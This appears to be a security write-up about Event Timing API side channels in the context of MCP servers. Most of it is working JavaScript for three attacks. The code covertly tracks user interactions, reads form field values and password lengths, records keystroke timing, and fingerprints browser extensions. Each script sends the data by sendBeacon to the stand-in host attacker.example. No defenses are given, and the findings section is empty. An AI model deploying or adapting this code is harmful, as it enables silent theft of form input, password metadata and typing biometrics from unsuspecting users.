MCP server Event Timing API security — INP side-channel, input handler enumeration, JS thread fingerprinting, and interaction surveillance

Event Timing API attack surface

Attack 1: Listener-free interaction tracking via event.target

Traditional JavaScript interaction tracking requires registering event listeners on DOM elements — which is detectable by content security policies, overriding addEventListener, or inspecting bound listeners via browser DevTools. The Event Timing API provides an alternative: a PerformanceObserver subscription to the 'event' entry type captures the target element reference for every user interaction without registering any event listeners on those elements. The observer is passive and cannot be detected by standard listener enumeration methods.

// Event Timing API — listener-free interaction surveillance.
// Captures target element references for every user interaction.
// No event listeners on DOM elements. Undetectable by addEventListener inspection.

class InteractionTracker {
  constructor() {
    this.interactions = [];
    this.formFields   = new Map(); // fieldName → [keydown timestamps]
  }

  start() {
    // durationThreshold: 0 → capture ALL events, not just slow ones.
    // Without this, only events taking >104ms would be reported.
    const observer = new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        this.processEvent(entry);
      }
    });

    try {
      // Subscribe to all input event types with durationThreshold: 0
      observer.observe({
        type:              'event',
        buffered:          false,
        durationThreshold: 0, // Capture every interaction, not just slow ones
      });
    } catch {
      return;
    }
  }

  processEvent(entry) {
    const target = entry.target;
    if (!target) return;

    const interactionId = entry.interactionId;
    const isUserAction  = interactionId > 0;

    // Only log user interactions (not programmatic events)
    if (!isUserAction && entry.name !== 'keydown') return;

    // Classify the interaction target
    const elementInfo = {
      tag:         target.tagName,
      id:          target.id,
      name:        target.name,            // 
      type:        target.type,            // input type: text, password, email, etc.
      placeholder: target.placeholder,
      ariaLabel:   target.getAttribute('aria-label'),
      role:        target.getAttribute('role'),
      href:        target.href,            // For links
      action:      target.form?.action,    // For form elements
    };

    // Special handling for input fields
    if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA') {
      const fieldKey = target.id || target.name || target.placeholder || target.type;

      if (entry.name === 'keydown') {
        // Track keydown timestamps per field for keystroke dynamics analysis
        if (!this.formFields.has(fieldKey)) this.formFields.set(fieldKey, []);
        this.formFields.get(fieldKey).push({
          t:              entry.startTime,
          processingGap:  entry.processingStart - entry.startTime,
          handlerDuration: entry.processingEnd - entry.processingStart,
        });
      }

      if (entry.name === 'input' || entry.name === 'change') {
        // For non-password fields, read the current value
        if (target.type !== 'password') {
          elementInfo.currentValue = target.value?.slice(0, 200);
        } else {
          // For password fields: record character count (from value.length)
          // Note: target.value is readable even in performance observer context
          // because we have a direct DOM reference, not a restricted copy
          elementInfo.passwordLength = target.value?.length;
        }
      }
    }

    // For click events on links, buttons, and form submit buttons
    if (entry.name === 'click' || entry.name === 'pointerup') {
      if (target.type === 'submit') {
        elementInfo.formSubmit = true;
        // The form action reveals where data is being sent
        elementInfo.formAction = target.form?.action || target.closest('form')?.action;
        elementInfo.formMethod = target.form?.method;
      }
    }

    this.interactions.push({
      eventName:       entry.name,
      interactionId,
      startTime:       entry.startTime,
      processingDelay: entry.processingStart - entry.startTime,
      handlerDuration: entry.processingEnd - entry.processingStart,
      totalDuration:   entry.duration,
      element:         elementInfo,
    });

    // Exfiltrate in batches when form submission detected
    if (elementInfo.formSubmit) {
      this.exfiltrate('form-submit');
    }
  }

  exfiltrate(trigger) {
    navigator.sendBeacon('https://attacker.example/interactions', JSON.stringify({
      trigger,
      interactions:  this.interactions.slice(-100), // Last 100 interactions
      formFields:    Object.fromEntries(
        [...this.formFields.entries()].map(([field, kd]) => [field, {
          keystrokeCount: kd.length,
          totalDuration:  kd.length > 1 ? kd[kd.length-1].t - kd[0].t : 0,
          // Inter-keystroke intervals (keystroke dynamics biometric)
          ikis: kd.slice(1).map((k, i) => Math.round(k.t - kd[i].t)),
        }])
      ),
      origin: location.origin,
      ts:     Date.now(),
    }));
  }
}

const tracker = new InteractionTracker();
tracker.start();

Attack 2: Password length inference from keydown event timing

When a user types in a password field, each character typed generates a keydown event that is captured by the Event Timing API. While the key value itself is not exposed by the API (the key character would require a registered keydown listener to capture), the processingEnd − processingStart gap for keydown events on a password field varies based on the number of registered keydown handlers (the application's own password complexity validator, browser autofill handlers, and extension content scripts all run for each keystroke). The pattern of handler durations across sequential keystrokes — combined with the keystroke count derived from event.target.value.length changes — reveals the password length and typing speed profile.

// Password length inference via Event Timing + target.value.length.
// The key character is NOT captured (requires a listener for that).
// But the current password length IS readable via target.value.length.
// Combined with keystroke timing, this builds a partial password profile.

function trackPasswordEntry() {
  const passwordSessions = new Map(); // element → session data

  const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
      if (entry.name !== 'keydown' && entry.name !== 'input') continue;
      if (!entry.interactionId) continue;

      const target = entry.target;
      if (!target || target.type !== 'password') continue;

      const key = target.id || target.name || 'password-field';

      if (!passwordSessions.has(key)) {
        passwordSessions.set(key, {
          fieldId:    key,
          keystrokes: [],
          maxLength:  0,
        });
      }

      const session = passwordSessions.get(key);

      if (entry.name === 'keydown') {
        // Record keystroke timing with handler duration
        const keystrokeData = {
          timestamp:       entry.startTime,
          processingDelay: entry.processingStart - entry.startTime,
          handlerDuration: entry.processingEnd - entry.processingStart,
        };

        // Also read the current field length at this moment
        // This tells us whether the keystroke added, deleted, or replaced a character
        keystrokeData.currentLength = target.value?.length ?? 0;
        session.maxLength = Math.max(session.maxLength, keystrokeData.currentLength);

        session.keystrokes.push(keystrokeData);
      }
    }
  });

  try {
    observer.observe({ type: 'event', buffered: false, durationThreshold: 0 });
  } catch {}

  // On page unload / form submit, report password session data
  window.addEventListener('pagehide', () => {
    for (const [key, session] of passwordSessions) {
      if (session.keystrokes.length === 0) continue;

      // Inter-keystroke intervals (IKI) — biometric typing pattern
      const ikis = session.keystrokes.slice(1).map((k, i) =>
        Math.round(k.timestamp - session.keystrokes[i].timestamp)
      );

      // Handler duration variance fingerprints the keydown handler stack
      const handlerDurations = session.keystrokes.map(k => k.handlerDuration);
      const avgHandler = handlerDurations.reduce((s, v) => s + v, 0) / handlerDurations.length;

      navigator.sendBeacon('https://attacker.example/password-timing', JSON.stringify({
        fieldKey:         key,
        keystrokeCount:   session.keystrokes.length,
        maxPasswordLength: session.maxLength,        // Final password length
        finalLength:      session.keystrokes[session.keystrokes.length - 1].currentLength,
        ikis:             ikis.slice(0, 50),         // First 50 IKIs
        avgHandlerMs:     avgHandler,
        totalTypingMs:    session.keystrokes.length > 1
          ? session.keystrokes[session.keystrokes.length-1].timestamp - session.keystrokes[0].timestamp
          : 0,
        origin:           location.origin,
        ts:               Date.now(),
      }));
    }
  });
}

trackPasswordEntry();

Attack 3: JS main thread state fingerprinting via processing delay

The processingStart − startTime gap for click events reflects how long the browser's event dispatch system waited before running the first JavaScript handler. In a clean browser with no extensions, this gap is typically 0–1ms. With active browser extensions that inject content scripts registering click listeners, the gap grows by 1–10ms per extension. The processingEnd − processingStart gap reflects total handler execution time — large values indicate the page has heavyweight click handlers (analytics platforms, form validation, SPA router logic). Together, these gaps fingerprint both the extension set and the page's event handler complexity.

// Event Timing processing delay analysis — thread state and extension fingerprinting.
// Collects processingStart−startTime gap for clicks to estimate extension overhead.
// Collects processingEnd−processingStart for handler complexity classification.

function analyzeProcessingDelays() {
  const samples = { click: [], keydown: [], pointerdown: [] };

  const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
      if (!samples[entry.name]) continue;
      if (!entry.interactionId) continue;

      samples[entry.name].push({
        dispatchDelay:    entry.processingStart - entry.startTime,  // Extension/dispatch overhead
        handlerDuration:  entry.processingEnd - entry.processingStart, // Page handler total
        totalDuration:    entry.duration,
        elementTag:       entry.target?.tagName,
        elementId:        entry.target?.id,
      });
    }

    // Analyze after 10 samples per event type
    const totalSamples = Object.values(samples).reduce((s, a) => s + a.length, 0);
    if (totalSamples >= 15) {
      computeAndExfiltrate();
    }
  });

  function computeAndExfiltrate() {
    observer.disconnect();

    const profile = {};

    for (const [eventType, data] of Object.entries(samples)) {
      if (data.length === 0) continue;

      const dispatchDelays = data.map(d => d.dispatchDelay).sort((a, b) => a - b);
      const handlerDurations = data.map(d => d.handlerDuration).sort((a, b) => a - b);

      const medianDispatch = dispatchDelays[Math.floor(dispatchDelays.length / 2)];
      const p90Dispatch    = dispatchDelays[Math.floor(dispatchDelays.length * 0.9)];
      const medianHandler  = handlerDurations[Math.floor(handlerDurations.length / 2)];

      profile[eventType] = {
        medianDispatchDelayMs: medianDispatch,
        p90DispatchDelayMs:    p90Dispatch,
        medianHandlerDurationMs: medianHandler,
        sampleCount: data.length,
      };
    }

    // Extension presence heuristics
    const clickDispatch = profile.click?.medianDispatchDelayMs ?? 0;
    const keyDispatch   = profile.keydown?.medianDispatchDelayMs ?? 0;

    const extensionSignals = [];
    if (keyDispatch > 5)    extensionSignals.push('password-manager-likely');
    if (clickDispatch > 3)  extensionSignals.push('ad-blocker-or-content-script');
    if (clickDispatch > 15) extensionSignals.push('multiple-heavy-extensions');

    // Page handler complexity
    const clickHandler = profile.click?.medianHandlerDurationMs ?? 0;
    let pageComplexity;
    if      (clickHandler < 2)   pageComplexity = 'minimal-handlers';
    else if (clickHandler < 10)  pageComplexity = 'moderate-handlers';
    else if (clickHandler < 50)  pageComplexity = 'heavy-handlers';
    else                         pageComplexity = 'very-heavy-handlers';

    navigator.sendBeacon('https://attacker.example/event-timing-profile', JSON.stringify({
      processingDelayProfile: profile,
      extensionSignals,
      pageComplexity,
      origin: location.origin,
      ts:     Date.now(),
    }));
  }

  try {
    observer.observe({ type: 'event', buffered: false, durationThreshold: 0 });
  } catch {}
}

analyzeProcessingDelays();

Browser support

SkillAudit findings

See also: MCP server Paint Timing security · MCP server Layout Instability security · MCP server User Timing API security